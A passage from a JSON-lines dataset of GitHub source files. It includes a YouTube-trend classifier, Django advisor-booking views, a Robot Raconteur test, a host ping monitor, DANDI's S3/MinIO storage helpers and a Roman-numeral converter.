array shape (n_examples, 1), float\n \"\"\"\n return (like - 1.5 * dislike) * comment / view\n\ndef label(view, parameter, view_bar, para_bar):\n \"\"\"\n Args:\n view: number of view, NumPy array shape (n_examples, 1)\n parameter: the enmotional trend of the reflects from viewers, NumPy array shape (n_examples, 1)\n view_bar: number dislike, NumPy array shape (n_examples, 1)\n para_bar: bars of parameters, a list (2,)\n\n Returns:\n label, NumPy array shape (n_examples, 1), int\n 0: Not hot\n 1: Negative, dislike >> like\n 2: Controdictory, dislike ~= like\n 3: Positive, like >> dislike\n \"\"\"\n label = np.zeros(np.shape(view))\n n = len(view)\n [bar1, bar2] = para_bar\n for i in range(n):\n if view[i] < view_bar:\n label[i] = 0\n elif parameter[i] < bar1:\n label[i] = 1\n elif parameter[i] < bar2:\n label[i] = 2\n else:\n label[i] = 3\n return label\n\n\ndef loadGolveModel(glove_file):\n f = open(glove_file, 'r', encoding='UTF-8')\n model = {}\n for line in f:\n splitline = line.split()\n word = splitline[0].replace(\"'\", \"\")\n embedding = np.array([float(val) for val in splitline[1: ]])\n model[word] = embedding\n print(\"Done.\", len(model), \"words loaded!\")\n return model\n\n\ndef load_index_dic(glove_file):\n f = open(glove_file, 'r', encoding='UTF-8')\n dic = []\n for line in f:\n splitline = line.split()\n dic.append(splitline[0])\n f.close()\n return dic\n\n\ndef glove_embedding_one_string(string, dictionary):\n words = string.lower().split()\n new_words = [re.sub('[{}!#?,.:\";@$%^&*()_+-=|[]:;\">/?<,.~]', '', word) for word in words]\n temp = [dictionary[i] for i in new_words if i in dictionary.keys()]\n temp = np.array(temp)\n return np.sum(temp, axis=0)\n\n\ndef glove_embedding(list, dictionary):\n n, t = len(list), 0\n l = dictionary['a'].shape[0]\n temp = np.zeros((n, l))\n for i in list:\n temp[t] = glove_embedding_one_string(i, dictionary)\n t += 1\n return np.array(temp)\n\n\ndef get_token(string, header, k):\n \"\"\"\n Word embedding for token\n Function: remove the punctuation, lowercases words, and covert the words to sequences of integers\n :param string: A list of word, lenth: n\n header: type of string\n k: size of dictionary\n :return: A list of integers, representing the word\n Site: https://towardsdatascience.com/recurrent-neural-networks-by-example-in-python-ffd204f99470\n \"\"\"\n if header == 'tags':\n tokenizer = Tokenizer(num_words=k, # Word with top k frequency\n filters='!@#$%^&*()_+-=\\|{}[]:;\">/?<,.~',\n lower=True, split='|')\n else:\n tokenizer = Tokenizer(num_words=k,\n filters='!@#$%^&*()_+-=\\|{}[]:;\">/?<,.~',\n lower=True)\n\n tokenizer.fit_on_texts(string)\n sequences = tokenizer.texts_to_sequences(string)\n return sequences\n\ndef one_hot(string, k):\n \"\"\"\n One hot word embedding\n :param string: A list of strings\n k: size of dictionary\n :return: A matrix of integers reflecting the string\n dim: n-examples x m-size of dictionary\n Type: np.array\n \"\"\"\n t = Tokenizer(num_words=k,\n filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n',\n lower=True, split=' ')\n t.fit_on_texts(string)\n encoded_docs = t.texts_to_matrix(string, mode='binary')\n return np.array(encoded_docs)\n\n\ndef one_hot_test(train, test, k):\n t = Tokenizer(num_words=k,\n filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n',\n lower=True, split=' ')\n t.fit_on_texts(train)\n encoded_docs = t.texts_to_matrix(test, mode='binary')\n return np.array(encoded_docs)\n\n\ndef word_embedding(csv_path, dictionary):\n \"\"\"\n Get the structured input data\n :param csv_path: The trina,valid, and test test path, .csv file name\n :param size_of_dictionary: a int\n :return: structured title, tag, description, list type, each with a lenth of dictionary,\n category as integer, publish_time as time\n Type: np.array\n \"\"\"\n title, trending_date, publish_time, category, tags, description, duration = kent.get_feature(csv_path)\n glove_title = glove_embedding(title, dictionary)\n glove_description = glove_embedding(description, dictionary)\n glove_tags = glove_embedding(tags, dictionary)\n time = lyp.get_time_gap(publish_time, trending_date)\n category = util.add_intercept_fn(np.reshape(category, (len(category), 1)))\n time = time.reshape((len(time), 1))\n duration = duration.reshape((len(duration), 1))\n return glove_title, time, category, glove_tags, glove_description, duration\n\n\ndef word_embedding_test(train_path, test_path, size_of_dictionary, size_of_dictionary_description):\n train_title, train_trending_date, train_publish_time, train_category, train_tags, train_description = kent.get_feature(train_path)\n test_title, test_trending_date, test_publish_time, test_category, test_tags, test_descriotion = kent.get_feature(test_path)\n one_hot_title = util.add_intercept_fn(one_hot_test(train_title, test_title,size_of_dictionary))\n one_hot_description = util.add_intercept_fn(one_hot_test(train_description, test_descriotion, size_of_dictionary_description))\n one_hot_tags = util.add_intercept_fn(one_hot_test(train_tags, test_tags, size_of_dictionary))\n time = lyp.get_time_gap(test_publish_time, test_trending_date)\n time = util.add_intercept_fn(np.reshape(time, (len(time), 1)))\n category = util.add_intercept_fn(np.reshape(test_category, (len(test_category), 1)))\n return one_hot_title, time, category, one_hot_tags, one_hot_description\n\n\ndef separa_test(csv):\n \"\"\"\n Seprarte the test data by publish date\n :return: three set, containing the index of the video in test set\n first set: videos trended in the train or valid set\n third set: videos published and trended in the test set\n second set: rest of the videos\n \"\"\"\n new1 = []\n new3 = []\n publish_time = kent.get_time(csv)\n test_title = lyp.get_string_header(csv, 'title')\n train_title = lyp.get_string_header(csv, 'title')\n valid_title = lyp.get_string_header(csv, 'title')\n title = train_title + valid_title\n for i in range(len(publish_time)):\n pt_year = int(publish_time[i][0:4])\n pt_month = int(publish_time[i][5:7])\n pt_date = int(publish_time[i][8:10])\n if pt_year < 2018 and test_title[i] in title:\n new1 += [i]\n elif pt_year == 2018 and pt_month < 4 and test_title[i] in title:\n new1 += [i]\n elif pt_year == 2018 and pt_month == 4 and pt_date < 14 and test_title[i] in title:\n new1 += [i]\n elif pt_year == 2018 and pt_month > 4:\n new3 += [i]\n elif pt_year == 2018 and pt_month == 4 and pt_date >= 14:\n new3 += [i]\n return new1, new3\n\n\ndef accurancy(y_label, prediction):\n \"\"\"\n Calculate the accurancy\n :param y_label: a list of true label\n :param prediction: a list of predicted label\n :return: the accurancy, float\n \"\"\"\n n = len(y_label)\n result = 0\n new = np.zeros((4, ))\n for i in range(n):\n if y_label[i] == prediction[i]:\n result += 1\n t = int(y_label[i])\n new[t] += 1\n print('The accurancy count in each type', new)\n print('The count of each type:', collections.Counter(prediction))\n return result / n\n\n\ndef first_layer(fit_type, train_label, valid_type):\n \"\"\"\n :param fit_type: Description, Title, Tags etc. a list\n :param train_label: a list of train label\n :param valid_type: a list of valid label\n :return: an array of the probability\n \"\"\"\n y_train = train_label\n clf = SGDClassifier(alpha=0.2, loss=\"modified_huber\", penalty='l2', tol=1e-6, max_iter=10000, fit_intercept=False)\n clf.fit(fit_type, y_train)\n predict = clf._predict_proba(valid_type)\n train_probability = clf._predict_proba(fit_type)\n return predict, train_probability\n\n\ndef GBM_model(train, train_label, test, test_label):\n \"\"\"\n\n :param train: n x factor array, representing all factors in array\n :param test: n x factor array, representing all factors in array\n :param label_train: n x 1 array, representing the label of train\n :param label_test: n x 1 array, representing the label of test\n :return: the prediction result of GBM model\n \"\"\"\n model = GradientBoostingClassifier(max_depth=5, tol=0.0001, n_estimators=100)\n eval_set = [(train, train_label), (test, test_label)]\n model.fit(train, train_label, eval_metric=[\"merror\", \"mlogloss\"], eval_set=eval_set, verbose=True)\n print('Finish GBM fit')\n prediction = model.predict(test)\n print('Finish GBM prediction')\n return prediction\n\n\ndef GBM_multi_model(train, train_label, test):\n \"\"\"\n\n :param train: n x factor array, representing all factors in array\n :param test: n x factor array, representing all factors in array\n :param label_train: n x 1 array, representing the label of train\n :param label_test: n x 1 array, representing the label of test\n :return: the prediction result of GBM model\n \"\"\"\n # w_array = np.array([0.7] * train_label.shape[0])\n # w_array[train_label == 0] = 0.9\n # w_array[train_label == 1] = 8\n # w_array[train_label == 3] = 1.7\n model = GradientBoostingClassifier(max_depth=8, tol=0.0001, n_estimators=100)\n model.fit(train, train_label)\n print('Finish GBM fit')\n prediction = model.predict(test)\n print('Finish GBM prediction')\n return prediction\n\ndef random_forest(train, train_label, test):\n clf = RandomForestClassifier(random_state=27 ,max_features=None, n_estimators=300,\n class_weight={0:2.92, 1:65, 2:1, 3:7.4})\n clf.fit(train, train_label)\n prediction = clf.predict(test)\n return prediction\n\ndef random_forest_multi(train, train_label, test):\n clf = RandomForestClassifier(random_state=27 ,max_features=None, n_estimators=300)\n clf.fit(train, train_label)\n prediction = clf.predict(test)\n return prediction\n\n\ndef neuron_network(train, label_train, test):\n clf = MLPClassifier(solver='adam', activation='logistic', alpha=0.4, tol=1e-5,\n hidden_layer_sizes=(100, 20), max_iter=500)\n clf.fit(train, label_train)\n prediction = clf.predict(test)\n return prediction\n\n\ndef vote(fun1, fun2, fun3, train, train_label, valid):\n clf = VotingClassifier(estimators=[('fun1', fun1), ('fun2', fun2), ('fun3', fun3)], voting='hard')\n clf.fit(train, train_label)\n prediction = clf.predict(valid)\n return prediction\n\n\ndef svm_prediction(train, train_label, test):\n clf = svm.SVC(C=1.0, cache_size=200, coef0=1.0,\n decision_function_shape='ovo', degree=5, gamma='scale', kernel='poly',\n max_iter=-1, probability=False, random_state=None, shrinking=True,\n tol=0.001, verbose=True)\n clf.fit(train, train_label)\n prediction = clf.predict(test)\n return prediction\n\n#\n# def mord_predict(train, train_label, test):\n# clf = mord.MulticlassLogistic()\n# clf.fit(train, train_label)\n# prediction = clf.predict(test)\n# return prediction\n#\n# def xgb_prediction(train, train_label, test):\n# clf = XGBClassifier(booster = \"gbtree\") #objective = reg:squaredlogerror\n# clf.fit(train, train_label)\n# return clf.predict(test)\n\ndef tree(train, train_label, test, i):\n clf = DecisionTreeClassifier(random_state=i, class_weight={0:5, 1:5, 2:0.05, 3:1}) #, class_weight={0:1, 1:1, 2:1, 3:1}\n clf.fit(train, train_label)\n prediction = clf.predict(test)\n return prediction\n\ndef tree_multi(train, train_label, test):\n clf = DecisionTreeClassifier() #, class_weight={0:1, 1:1, 2:1, 3:1}\n clf.fit(train, train_label)\n prediction = clf.predict(test)\n return prediction\n\n\ndef relable(label, target_label):\n \"\"\"\n change the multiple class into binary class\n :param label: the array of the original label\n :param target_label:\n :return: an array of the label, 1 means label is the targeted one and 0 is other labels\n \"\"\"\n return np.array([int(i == target_label) for i in label])\n\n\ndef evaluate(model, test_features, test_labels):\n predictions = model.predict(test_features)\n errors = abs(predictions - test_labels)\n mape = 100 * np.mean(errors / test_labels)\n accuracy = 100 - mape\n print('Model Performance')\n print('Average Error: {:0.4f} degrees.'.format(np.mean(errors)))\n print('Accuracy = {:0.2f}%.'.format(accuracy))\n return accuracy\n\n\ndef sgdc(train, train_label, test, random):\n clf = SGDClassifier(random_state=random, alpha=0.2, loss=\"modified_huber\", penalty='l2', tol=1e-6, max_iter=10000, fit_intercept=False)\n clf.fit(train, train_label)\n predict = clf.predict(test)\n return predict\n\ndef sgdc_multi(train, train_label, test):\n clf = SGDClassifier(alpha=7.5, loss=\"modified_huber\", penalty='l2', tol=1e-6, fit_intercept=False)\n clf.fit(train, train_label)\n predict = clf.predict(test)\n return predict\n\n\ndef delete_feature(train, function, train_label, test, test_label, name, random):\n \"\"\"\n :param list: list of separate feature\n :param function: the training model\n :return:\n \"\"\"\n def g(train, test, name):\n # Get the f1 score\n n = len(train)\n f1_score = np.zeros((n,))\n temp_name = name\n c = []\n if n == 1:\n # print('The last class:', name[0])\n return None\n for i in range(n):\n temp_train, temp_test = train.copy(), test.copy()\n temp_train.pop(i)\n temp_test.pop(i)\n new_train = temp_train[0]\n new_test = temp_test[0]\n if n - 2 > 0:\n for j in range(n - 2):\n new_train = np.hstack((new_train, temp_train[j + 1]))\n new_test = np.hstack((new_test, temp_test[j + 1]))\n prediction = function(new_train, train_label, new_test, random)\n c += [collections.Counter(prediction)]\n warnings.filterwarnings('ignore')\n f1_score[i] = f1(test_label, prediction, average='weighted')\n # print(\"the f1 score with class\", name[i], \"excluded:\", f1_score[i])\n remain_class = np.argmax(f1_score)\n del name[remain_class]\n train.pop(remain_class)\n test.pop(remain_class)\n print('The remaining class is:', temp_name)\n print('the class predicted is:', c[remain_class])\n return delete_feature(train, function, train_label, test, test_label, name, random)\n\n return g(train, test, name)\n","repo_name":"No21-lqz/CS229AAA","sub_path":"LIQIAN.py","file_name":"LIQIAN.py","file_ext":"py","file_size_in_byte":15849,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"} +{"seq_id":"71397246970","text":"from django.contrib.auth import authenticate\nfrom rest_framework import viewsets, status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom api.models import Advisor, Booking, User\nfrom api.serializer import AdvisorSerializer, AdviserViewSerializer\n\n\nclass AdvisorView(viewsets.ModelViewSet):\n queryset = Advisor.objects.all()\n serializer_class = AdvisorSerializer\n\n\n@api_view(['GET'])\ndef advisor_list(request, user_id):\n try:\n User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return Response(\"User doesn't exist\", status=status.HTTP_404_NOT_FOUND)\n\n adv_serializer = AdviserViewSerializer(Advisor.objects.all(), many=True)\n print(adv_serializer.data)\n return Response(adv_serializer.data, status=status.HTTP_200_OK)\n\n\n@api_view(['POST'])\ndef book_advisor(request, user_id, advisor_id):\n try:\n User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return Response(\"User doesn't exist\", status=status.HTTP_404_NOT_FOUND)\n\n try:\n adv = Advisor.objects.get(pk=advisor_id)\n except Advisor.DoesNotExist:\n return Response('Advisor not found', status=status.HTTP_404_NOT_FOUND)\n\n booking = Booking.objects.create(user_id=user_id, advisor_id=advisor_id, date=request.POST.get('date'))\n booking.save()\n\n return Response(status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef get_bookings(request, user_id):\n try:\n user = User.objects.get(pk=user_id)\n except User.DoesNotExist:\n return Response(\"User doesn't exist\", status=status.HTTP_404_NOT_FOUND)\n\n bookings = Booking.objects.filter(user=user)\n data = []\n for booking in bookings:\n adv = Advisor.objects.get(id=booking.id)\n data.append(({\n 'advisor_name': adv.name,\n 'advisor_profile_pic': adv.photo,\n 'advisor_id': adv.id,\n 'booking_time': booking.date,\n 'booking_id': booking.id\n }))\n return Response(data, status=status.HTTP_200_OK)\n\n\n@api_view(['POST'])\ndef register(request):\n try:\n user = User.objects.create_user(username=request.POST.get('email'), name=request.POST.get('name'),\n password=request.POST.get('password'), email=request.POST.get('email'))\n except Exception as e:\n return Response(\"Fields missing\", status=status.HTTP_400_BAD_REQUEST)\n\n token, id = user.save()\n data = {\n \"token\": token,\n \"id\": id\n }\n return Response(data, status=status.HTTP_200_OK)\n\n\n@api_view(['POST'])\ndef login(request):\n user = authenticate(username=request.POST.get('email'),\n password=request.POST.get('password'))\n if user is None:\n return Response(\"Invalid Login\", status=status.HTTP_400_BAD_REQUEST)\n\n token = user.jwt_token\n id = user.id\n data = {\n \"token\": token,\n \"id\": id\n }\n return Response(data, status=status.HTTP_200_OK)\n","repo_name":"ayanshaikh18/AdvisoryNetwork","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27761132837","text":"# import RobotRaconteur as RR\n# RRN=RR.RobotRaconteurNode.s\n# RRN.SetLogLevel(RR.LogLevel_Trace)\n# node_setup=RR.CommandLineConfigParser(0)\n# #node_setup=RR.ClientNodeSetup(argv=[\"--robotraconteur-tcp-enable=false\"])\n# #browser_transport = RR.BrowserWebSocketTransport()\n# #RRN.RegisterTransport(browser_transport)\n# print(\"done\")\n\n\nfrom js import print_div\nfrom RobotRaconteur.Client import *\n\nprint_div(\"Begin test_transport\")\n\nc1 = None\n\ndef i32_huge_cb(i32_huge, err):\n print_div (\"i32_huge: \" + str(i32_huge))\n print_div (\"i32_huge error: \" + str(err))\n\ndef d1_cb(d1, err):\n print_div (\"d1: \" + str(d1))\n print_div (\"d1 error: \" + str(err))\n c1.async_get_i32_huge(i32_huge_cb)\n\ndef connect_cb(c, err):\n global c1\n c1 = c\n print_div(\"connect error: \" + str(err))\n c.async_get_d1(d1_cb)\n\nRRN.SetLogLevel(RR.LogLevel_Debug)\n\nRRN.AsyncConnectService(\"rr+ws://localhost:22222?service=RobotRaconteurTestService\", None, None, None, connect_cb)\n\n\n","repo_name":"robotraconteur/robotraconteur_pyodide","sub_path":"testing/pyodide_test/test/test_transport.py","file_name":"test_transport.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"26371110316","text":"#!/usr/bin/python3\nimport scripts\nimport subprocess\nimport datetime\n\nDEBUG=1\nFATAL=2\n\n# Host class to turn config host files into actual data structures\nclass _host:\n def __init__(self,hostname):\n self.hostname=hostname\n self.online=False\n\n# logging, Duh\ndef log(priority,message):\n if (priority == DEBUG):\n priority = \"[DEBUG, %s] \" % datetime.datetime.now()\n elif (priority == FATAL):\n priority = \"[FATAL, %s] \" % datetime.datetime.now()\n logfile.write(priority + message+\"\\n\")\n logfile.flush()\n\n# takes host object and does operations testing network connectivity\ndef ping(h):\n log(DEBUG, \"Pinging host: \" +h.hostname)\n cmd={ \n \"ping\" : [\"ping\",\"-c 2\",h.hostname]\n }\n try:\n subprocess.check_output(cmd[\"ping\"])\n h.online=True\n log(DEBUG,\"Ping Success!\")\n return True\n except:\n h.online=False\n log(DEBUG,\"Ping failed!\")\n return False\n\n# Parses host files and return _host objects\ndef host_parse(hostfile):\n log(DEBUG, \"Parsing Hosts\")\n lines=hostfile.read().split(\"\\n\")\n lines=lines[:len(lines)-1] # cleans excess ''\n hosts=[]\n\n #Create host objects from config files\n for host in lines:\n hostname=host.split(\",\")[0]\n hosts.append(_host(hostname))\n # Then below interact with objects\n\n # And return all hosts\n return hosts\n\n# Get all User defined functions from \"scripts\" dir and execute them\n# h is a _host object \ndef execute_functions(h):\n global log\n global logfile\n global DEBUG\n global FATAL\n for i in dir(scripts):\n if \"__\" not in i :\n\n # Get pointers to functions included in module inbound\n script=getattr(scripts,i)\n\n # Set logging pointers for scripts plugin\n setattr(script,\"logfile\",logfile) \n setattr(script,\"log\",log) \n setattr(script,\"DEBUG\",DEBUG)\n setattr(script,\"FATAL\",FATAL)\n script.execute(h)\n\ndef main():\n\n identity_file=open(\"hosts\",\"r\")\n log(DEBUG, \"Logging initialized\")\n\n hosts=host_parse(identity_file) #returns list of host objects\n \n # For every host execute all anon funcs\n # (Which hosts that functions are executed for\n # are defined in the anonymous functions themselves)\n for Object in hosts:\n if ping(Object):\n execute_functions(Object)\n log(DEBUG, \"Execution Completed\")\n\n\nlogfile=open(\"logs/log.log\",\"w+\")\nmain()\n","repo_name":"flareriderdash/TransparentSync","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10558539803","text":"from __future__ import annotations\n\nfrom collections.abc import Iterator\nfrom datetime import timedelta\nimport hashlib\nfrom typing import Any\nfrom urllib.parse import urlsplit, urlunsplit\n\nimport boto3\nfrom botocore.config import Config\nfrom botocore.exceptions import ClientError\nfrom dandischema.digests.dandietag import PartGenerator\nfrom django.conf import settings\nfrom django.core.files.storage import Storage, get_storage_class\nfrom minio.error import NoSuchKey\nfrom minio_storage.policy import Policy\nfrom minio_storage.storage import MinioStorage, create_minio_client_from_settings\nfrom s3_file_field._multipart_boto3 import Boto3MultipartManager\nfrom s3_file_field._multipart_minio import MinioMultipartManager\nfrom storages.backends.s3 import S3Storage\n\n\nclass ChecksumCalculatorFile:\n \"\"\"File-like object that calculates the checksum of everything written to it.\"\"\"\n\n def __init__(self):\n self.h = hashlib.sha256()\n\n def write(self, bytes):\n self.h.update(bytes)\n\n @property\n def checksum(self):\n return self.h.hexdigest()\n\n\nclass DandiMultipartMixin:\n @staticmethod\n def _iter_part_sizes(file_size: int) -> Iterator[tuple[int, int]]:\n generator = PartGenerator.for_file_size(file_size)\n for part in generator:\n yield part.number, part.size\n\n _url_expiration = timedelta(days=7)\n\n\nclass DandiBoto3MultipartManager(DandiMultipartMixin, Boto3MultipartManager):\n \"\"\"A custom multipart manager for passing ACL information.\"\"\"\n\n def _create_upload_id(self, object_key: str, content_type: str | None = None) -> str:\n kwargs = {\n 'Bucket': self._bucket_name,\n 'Key': object_key,\n 'ACL': 'bucket-owner-full-control',\n }\n\n if content_type is not None:\n kwargs['Content-Type'] = content_type\n\n resp = self._client.create_multipart_upload(**kwargs)\n return resp['UploadId']\n\n\nclass DandiMinioMultipartManager(DandiMultipartMixin, MinioMultipartManager):\n \"\"\"A custom multipart manager for passing ACL information.\"\"\"\n\n def _create_upload_id(self, object_key: str, content_type: str | None = None) -> str:\n metadata = {'x-amz-acl': 'bucket-owner-full-control'}\n\n if content_type is not None:\n metadata['Content-Type'] = content_type\n\n return self._client._new_multipart_upload(\n bucket_name=self._bucket_name,\n object_name=object_key,\n metadata=metadata,\n )\n\n\nclass DeconstructableMinioStorage(MinioStorage):\n \"\"\"\n A MinioStorage which is deconstructable by Django.\n\n This does not require a minio_client argument to the constructor.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n # A minio.api.Minio instance cannot be serialized by Django. Since all constructor\n # arguments are serialized by the @deconstructible decorator, passing a Minio client as a\n # constructor argument causes makemigrations to fail.\n kwargs['minio_client'] = create_minio_client_from_settings()\n super().__init__(*args, **kwargs)\n\n\nclass VerbatimNameStorageMixin:\n \"\"\"A Storage mixin, storing files without transforming their original filename.\"\"\"\n\n # The basic S3Storage does not implement generate_filename or get_valid_name,\n # so upon FileField save, the following call stack normally occurs:\n # FieldFile.save\n # FileField.generate_filename\n # Storage.generate_filename\n # Storage.get_valid_name\n # Storage.generate_filename attempts to normalize the filename as a path.\n # Storage.get_valid_name uses django.utils.text.get_valid_filename,\n # which cleans spaces and other characters.\n # Since these are designed around filesystem safety, not S3 key safety, it's\n # simpler to do sanitization before saving.\n def generate_filename(self, filename: str) -> str:\n return filename\n\n\nclass TimeoutS3Storage(S3Storage):\n \"\"\"Override boto3 default timeout values.\"\"\"\n\n def __init__(self, **settings):\n super().__init__(**settings)\n\n self.config = self.config.merge(\n Config(connect_timeout=5, read_timeout=5, retries={'max_attempts': 2})\n )\n\n\nclass VerbatimNameS3Storage(VerbatimNameStorageMixin, TimeoutS3Storage):\n @property\n def multipart_manager(self):\n return DandiBoto3MultipartManager(self)\n\n def etag_from_blob_name(self, blob_name) -> str | None:\n client = self.connection.meta.client\n\n try:\n response = client.head_object(\n Bucket=self.bucket_name,\n Key=blob_name,\n )\n except ClientError:\n return None\n else:\n etag = response['ETag']\n # S3 wraps the ETag in double quotes, so we need to strip them\n if etag[0] == '\"' and etag[-1] == '\"':\n return etag[1:-1]\n return etag\n\n def generate_presigned_put_object_url(self, blob_name: str, base64md5: str) -> str:\n return self.connection.meta.client.generate_presigned_url(\n ClientMethod='put_object',\n Params={\n 'Bucket': self.bucket_name,\n 'Key': blob_name,\n 'ACL': 'bucket-owner-full-control',\n 'ContentMD5': base64md5,\n },\n ExpiresIn=600, # TODO proper expiration\n )\n\n def generate_presigned_head_object_url(self, key: str) -> str:\n return self.bucket.meta.client.generate_presigned_url(\n 'head_object',\n Params={'Bucket': self.bucket.name, 'Key': key},\n )\n\n def generate_presigned_download_url(self, key: str, path: str) -> str:\n return self.connection.meta.client.generate_presigned_url(\n 'get_object',\n Params={\n 'Bucket': self.bucket_name,\n 'Key': key,\n 'ResponseContentDisposition': f'attachment; filename=\"{path}\"',\n },\n )\n\n def generate_presigned_inline_url(self, key: str, path: str, content_type: str) -> str:\n return self.connection.meta.client.generate_presigned_url(\n 'get_object',\n Params={\n 'Bucket': self.bucket_name,\n 'Key': key,\n 'ResponseContentDisposition': f'inline; filename=\"{path}\"',\n 'ResponseContentType': content_type,\n },\n )\n\n def sha256_checksum(self, key: str) -> str:\n calculator = ChecksumCalculatorFile()\n obj = self.bucket.Object(key)\n obj.download_fileobj(calculator)\n return calculator.checksum\n\n\nclass VerbatimNameMinioStorage(VerbatimNameStorageMixin, DeconstructableMinioStorage):\n @property\n def multipart_manager(self):\n return DandiMinioMultipartManager(self)\n\n def etag_from_blob_name(self, blob_name) -> str | None:\n try:\n response = self.client.stat_object(self.bucket_name, blob_name)\n except NoSuchKey:\n return None\n else:\n return response.etag\n\n def generate_presigned_put_object_url(self, blob_name: str, _: str) -> str:\n # Note: minio-py doesn't support using Content-MD5 headers\n\n # storage.client will generate URLs like `http://minio:9000/...` when running in\n # docker. To avoid this, use the secondary base_url_client which is configured to\n # generate URLs like `http://localhost:9000/...`.\n return self.base_url_client.presigned_put_object(\n bucket_name=self.bucket_name,\n object_name=blob_name,\n expires=timedelta(seconds=600), # TODO proper expiration\n )\n\n def generate_presigned_head_object_url(self, key: str) -> str:\n return self.base_url_client.presigned_url('HEAD', self.bucket_name, key)\n\n def generate_presigned_download_url(self, key: str, path: str) -> str:\n return self.base_url_client.presigned_get_object(\n self.bucket_name,\n key,\n response_headers={'response-content-disposition': f'attachment; filename=\"{path}\"'},\n )\n\n def generate_presigned_inline_url(self, key: str, path: str, content_type: str) -> str:\n return self.base_url_client.presigned_get_object(\n self.bucket_name,\n key,\n response_headers={\n 'response-content-disposition': f'inline; filename=\"{path}\"',\n 'response-content-type': content_type,\n },\n )\n\n def sha256_checksum(self, key: str) -> str:\n calculator = ChecksumCalculatorFile()\n obj = self.client.get_object(self.bucket_name, key)\n for chunk in obj.stream(amt=1024 * 1024 * 16):\n calculator.write(chunk)\n return calculator.checksum\n\n\ndef create_s3_storage(bucket_name: str) -> Storage:\n \"\"\"\n Return a new Storage instance, compatible with the default Storage class.\n\n This abstracts over differences between S3Storage and MinioStorage,\n allowing either to be used as an additional non-default Storage.\n \"\"\"\n # For production, calling django.core.files.storage.get_storage_class is fine\n # to return the storage class of S3Storage.\n default_storage_class = get_storage_class()\n\n if issubclass(default_storage_class, S3Storage):\n storage = VerbatimNameS3Storage(bucket_name=bucket_name)\n # Required to upload to the sponsored bucket\n storage.default_acl = 'bucket-owner-full-control'\n elif issubclass(default_storage_class, MinioStorage):\n base_url = None\n if getattr(settings, 'MINIO_STORAGE_MEDIA_URL', None):\n # If a new base_url is set for the media storage, it's safe to assume one should be\n # set for this storage too.\n base_url_parts = urlsplit(settings.MINIO_STORAGE_MEDIA_URL)\n # Reconstruct the URL with an updated path\n base_url = urlunsplit(\n (\n base_url_parts.scheme,\n base_url_parts.netloc,\n f'/{bucket_name}',\n base_url_parts.query,\n base_url_parts.fragment,\n )\n )\n\n # The MinioMediaStorage used as the default storage is cannot be used\n # as an ad-hoc non-default storage, as it does not allow bucket_name to be\n # explicitly set.\n storage = VerbatimNameMinioStorage(\n bucket_name=bucket_name,\n base_url=base_url,\n # All S3Storage URLs are presigned, and the bucket typically is not public\n presign_urls=True,\n auto_create_bucket=True,\n auto_create_policy=True,\n policy_type=Policy.read,\n # Required to upload to the sponsored bucket\n object_metadata={'x-amz-acl': 'bucket-owner-full-control'},\n )\n # TODO: generalize policy_type?\n # TODO: filename transforming?\n # TODO: content_type\n else:\n raise Exception(f'Unknown storage: {default_storage_class}')\n\n return storage\n\n\ndef get_boto_client(storage: Storage | None = None):\n \"\"\"Return an s3 client from the current storage.\"\"\"\n storage = storage if storage else get_storage()\n if isinstance(storage, MinioStorage):\n return boto3.client(\n 's3',\n endpoint_url=storage.client._endpoint_url,\n aws_access_key_id=storage.client._access_key,\n aws_secret_access_key=storage.client._secret_key,\n region_name='us-east-1',\n )\n\n return storage.connection.meta.client\n\n\ndef get_storage_params(storage: Storage):\n if isinstance(storage, MinioStorage):\n return {\n 'endpoint_url': storage.client._endpoint_url,\n 'access_key': storage.client._access_key,\n 'secret_key': storage.client._secret_key,\n }\n\n return {\n 'endpoint_url': storage.endpoint_url,\n 'access_key': storage.access_key,\n 'secret_key': storage.secret_key,\n }\n\n\ndef get_storage() -> Storage:\n return create_s3_storage(settings.DANDI_DANDISETS_BUCKET_NAME)\n\n\ndef get_storage_prefix(instance: Any, filename: str) -> str:\n return f'{settings.DANDI_DANDISETS_BUCKET_PREFIX}{filename}'\n\n\ndef get_embargo_storage() -> Storage:\n return create_s3_storage(settings.DANDI_DANDISETS_EMBARGO_BUCKET_NAME)\n\n\ndef get_embargo_storage_prefix(instance: Any, filename: str) -> str:\n return f'{settings.DANDI_DANDISETS_EMBARGO_BUCKET_PREFIX}{filename}'\n","repo_name":"dandi/dandi-archive","sub_path":"dandiapi/api/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":12444,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"} +{"seq_id":"34722148061","text":"#!/usr/bin/python3\n\ndef roman_to_int(roman_string):\n '''\n roman_to_int - function that convert roman string to integre\n '''\n roman_to_decimal = {\n 'I': 1,\n 'V': 5,\n 'X': 10,\n 'L': 50,\n 'C': 100,\n 'D': 500,\n 'M': 1000\n }\n number = 0\n previos_value = 0\n if type(roman_string) != str or roman_string is None:\n return (0)\n else:\n for i in roman_string:\n value = roman_to_decimal[i]\n if value > previos_value:\n number += value - (2 * previos_value)\n else:\n number += value\n previos_value = value\n return (number)\n","repo_name":"OuYa01/alx-higher_level_programming","sub_path":"0x04-python-more_data_structures/12-roman_to_int.py","file_name":"12-roman_to_int.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11097763868","text":"import os\nimport shutil\n\nfrom contextlib import contextmanager\nfrom pathlib import Path\n\n\n@contextmanager\ndef copy_work(working_dir, text_to_replace, replacement_text):\n \"\"\"\n Recursive function that iterates down through source 